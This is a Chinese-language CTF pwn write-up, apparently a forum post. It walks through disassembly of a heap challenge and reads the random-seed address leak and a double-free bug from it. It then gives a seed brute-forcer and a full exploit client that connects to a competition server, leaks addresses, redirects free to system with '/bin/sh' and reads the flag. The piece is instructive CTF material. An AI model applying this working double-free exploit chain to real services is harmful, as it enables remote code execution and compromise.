不熟悉python也不熟悉linux,估计有人会疑问:你是来玩pwn的吗?
和度娘现学了几个gdb命令,所以解题过程也和别人有较大差别
分析点1 用seed地址初始化随机种子:
.text:0000000000001229 lea rax, seed
.text:0000000000001230 mov cs:seed, rax
.text:0000000000001237 mov rax, cs:seed
.text:000000000000123E mov edi, eax ; seed
.text:0000000000001240 call _srand
分析点2 猜中随机数,可得到seed的地址,猜错会显示当前的随机数
.text:000000000000111D call _rand
.text:0000000000001122 mov [rbp+var_8], eax
.text:0000000000001125 mov [rbp+var_4], 0
.text:000000000000112C lea rdi, aPleaseInputThe ; "Please input the number you guess:"
.text:0000000000001133 call _puts
.text:0000000000001138 lea rdi, format ; "> "
.text:000000000000113F mov eax, 0
.text:0000000000001144 call _printf
.text:0000000000001149 mov eax, 0
.text:000000000000114E call zz_read_int
.text:0000000000001153 mov [rbp+var_4], eax
.text:0000000000001156 mov eax, [rbp+var_8]
.text:0000000000001159 cmp eax, [rbp+var_4]
.text:000000000000115C jnz short loc_117B
.text:000000000000115E mov rax, cs:seed
.text:0000000000001165 mov rsi, rax
.text:0000000000001168 lea rdi, aG00dj0bYouGetA ; "G00dj0b!You get a secret: %ld!\n"
.text:000000000000116F mov eax, 0
.text:0000000000001174 call _printf
.text:0000000000001179 jmp short loc_1191
.text:000000000000117B ; ---------------------------------------------------------------------------
.text:000000000000117B loc_117B: ; CODE XREF: zz_guess_random+47↑j
.text:000000000000117B mov eax, [rbp+var_8]
.text:000000000000117E mov esi, eax
.text:0000000000001180 lea rdi, aWr0ngAnswerThe ; "Wr0ng answer!The number is %d!\n"
.text:0000000000001187 mov eax, 0
.text:000000000000118C call _printf
分析点3 destroy是会查表判断,只有small和normal两种可以free,而且可以多次free
.text:0000000000000E92 lea rax, destroy_enable_table
.text:0000000000000E99 mov eax, [rdx+rax]
.text:0000000000000E9C test eax, eax
.text:0000000000000E9E jnz short loc_ECE
.text:0000000000000EA0 mov eax, [rbp+var_4]
.text:0000000000000EA3 cdqe
.text:0000000000000EA5 lea rdx, ds:0[rax*8]
.text:0000000000000EAD lea rax, box_buf
.text:0000000000000EB4 mov rax, [rdx+rax]
.text:0000000000000EB8 mov rdi, rax ; ptr
.text:0000000000000EBB call _free
.text:0000000000000EC0 lea rdi, aYouHaveDestroy ; "You have destroyed the box!"
.text:0000000000000EC7 call _puts
.text:0000000000000ECC jmp short locret_EDA
.text:0000000000000ECE loc_ECE:
.text:0000000000000ECE lea rdi, aYouCanNotDestr ; "You can not destroy the box!"
.text:0000000000000ED5 call _puts
解题
于是解题就朝着double free的方向走了,写了两个程序,一个linux下穷举seed,一个windows下完成pwn流程
double free的原理我就不写了,现搜教程学的
代码1 srand的参数seed是32位的,因为进程模块0x1000对齐,所以seed的低12位已知是0x148,穷举seed高20位进行srand初始化,先随便猜错一次,
得到第一次的rand,然后就可以穷举seed用来初始化srand,使得第一次的rand和刚才猜错的那个rand相等时,就穷举成功了seed,本来想把
linux下的rand和srand函数扣出来在windows下实现的,时间关系没有做,只好直接在linux下写个程序并运行:
int main()
{
unsigned int i;
int n;
char s[80];
printf("input first rand:");
gets(s);
sscanf(s,"%d",&n);
for (i=0;i<0x100000;i++)
{
srand(i*0x1000+0x148);
if (rand() == n)
{
printf("\nnext rand = %d\n",rand());
break;
}
}
}
代码2 windows下写了个小程序:
BYTE data1[] = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x08,0x21,0x20,0x00,0x00,0x00,0x00,0x00,0x10,0x21,0x20,0x00,0x00,0x00,0x00,0x00, //202108,202110
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x0A,
};
BYTE data2[] = {
0x28,0x20,0x20,0x00,0x00,0x00,0x00,0x00, //1buf:little
0x48,0x20,0x20,0x00,0x00,0x00,0x00,0x00, //2buf:small,__libc_start_main
0x18,0x20,0x20,0x00,0x00,0x00,0x00,0x00,0x0A //3buf:normal,"/bin/sh"
};
BYTE data3[] = {
0x2F,0x62,0x69,0x6E,0x2F,0x73,0x68,0x00,0x0A //"/bin/sh"
};
BYTE data4[] = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0A //system
};
void main()
{
char *buffer;
int sended;
struct sockaddr_in servaddr;
SOCKET s;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
servaddr.sin_family = PF_INET;
servaddr.sin_port = htons(8888);
servaddr.sin_addr.s_addr = inet_addr("123.206.22.95");
memset(&(servaddr.sin_zero), 0, 8);
int r = connect(s, (SOCKADDR *)&servaddr, sizeof(SOCKADDR_IN));
if (r == 0)
{
buffer = recv_and_print_until(s,"> "); //welcome
sended = send(s,"5",1,0); //guess
buffer = recv_and_print_until(s,"> ");
sended = send(s,"3",1,0); //
buffer = recv_and_print_until(s,"> "); //把输出的rand传给前面linux小程序穷举出seed
char guess[0x80];
printf("guess:\n");
gets(guess); //根据linux小程序穷举出的seed输入给这个windows程序
sended = send(s,"5",1,0); //guess
buffer = recv_and_print_until(s,"> ");
sended = send(s,guess,strlen(guess),0);
buffer = recv_and_print_until(s,"> ");
char *ss = strstr(buffer,"secret: ");
__int64 elfaddr = 0;
if (ss)
{
sscanf(&ss[8],"%I64d",&elfaddr);
elfaddr -= 0x202148;
*(__int64 *)&data1[0x10] += elfaddr;
*(__int64 *)&data1[0x18] += elfaddr;
*(__int64 *)&data2[0x00] += elfaddr;
*(__int64 *)&data2[0x08] += elfaddr;
*(__int64 *)&data2[0x10] += elfaddr;
}
sended = send(s,"1",1,0); //get_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"3",1,0); //type normal
buffer = recv_and_print_until(s,"> ");
sended = send(s,"256",3,0); //size = 0x100
buffer = recv_and_print_until(s,"> ");
sended = send(s,"1",1,0); //get_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //type small
buffer = recv_and_print_until(s,"> ");
sended = send(s,"128",3,0); //size = 0x80
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //destroy_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"3",1,0); //type normal
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //destroy_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //type small
buffer = recv_and_print_until(s,"> ");
sended = send(s,"1",1,0); //get_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"4",1,0); //type big
buffer = recv_and_print_until(s,"> ");
sended = send(s,"400",3,0); //size = 0x190
buffer = recv_and_print_until(s,"> ");
//
sended = send(s,"3",1,0); //set msg
buffer = recv_and_print_until(s,"> ");
sended = send(s,"4",1,0); //type big
sended = send(s,(char *)data1,sizeof(data1),0);
buffer = recv_and_print_until(s,"> ");
printf("double free\n");
sended = send(s,"2",1,0); //destroy_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //type small
buffer = recv_and_print_until(s,"> ");
printf("set data2 to msg big\n");
sended = send(s,"3",1,0); //set msg
buffer = recv_and_print_until(s,"> ");
sended = send(s,"4",1,0); //type big
sended = send(s,(char *)data2,sizeof(data2),0);
buffer = recv_and_print_until(s,"> ");
printf("show msg2 after2\n");
sended = send(s,"4",1,0); //show msg
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //type small,__libc_start_main
buffer = recv_and_print_until(s,"> ");
unsigned __int64 systemaddr = 0;
int i;
for (i=0;i<8;i++)
{
if (buffer[i] == 0x0A)
{
buffer[i] = 0;
buffer[i+1] = 0;
buffer[i+2] = 0;
buffer[i+3] = 0;
break;
}
}
systemaddr = *(unsigned __int64 *)&buffer[0];
systemaddr -= 0x20740; //__libc_start_main
systemaddr += 0x45390; //system
*(unsigned __int64 *)&data4[0] = systemaddr;
printf("set data3 to msg small\n");
sended = send(s,"3",1,0); //set msg
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //type small
sended = send(s,(char *)data3,sizeof(data3),0);
buffer = recv_and_print_until(s,"> ");
printf("set data4 to msg normal\n");
sended = send(s,"3",1,0); //set msg
buffer = recv_and_print_until(s,"> ");
sended = send(s,"3",1,0); //type normal
sended = send(s,(char *)data4,sizeof(data4),0);
buffer = recv_and_print_until(s,"> ");
printf("system\n");
sended = send(s,"2",1,0); //destroy_a_box
buffer = recv_and_print_until(s,"> ");
sended = send(s,"2",1,0); //type normal
//sended = send(s,"ls\n",3,0);
//buffer = recv_and_print_until(s,""); //不去写这个字符分析了,肉眼观察返回的文件名可看到flag.txt,下次直接cat flag.txt
sended = send(s,"cat flag.txt\n",13,0);
buffer = recv_and_print_until(s,"}");
}
}
最后得到结果:flag{5bab95a4b3fc901672b307b99e065cf2}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!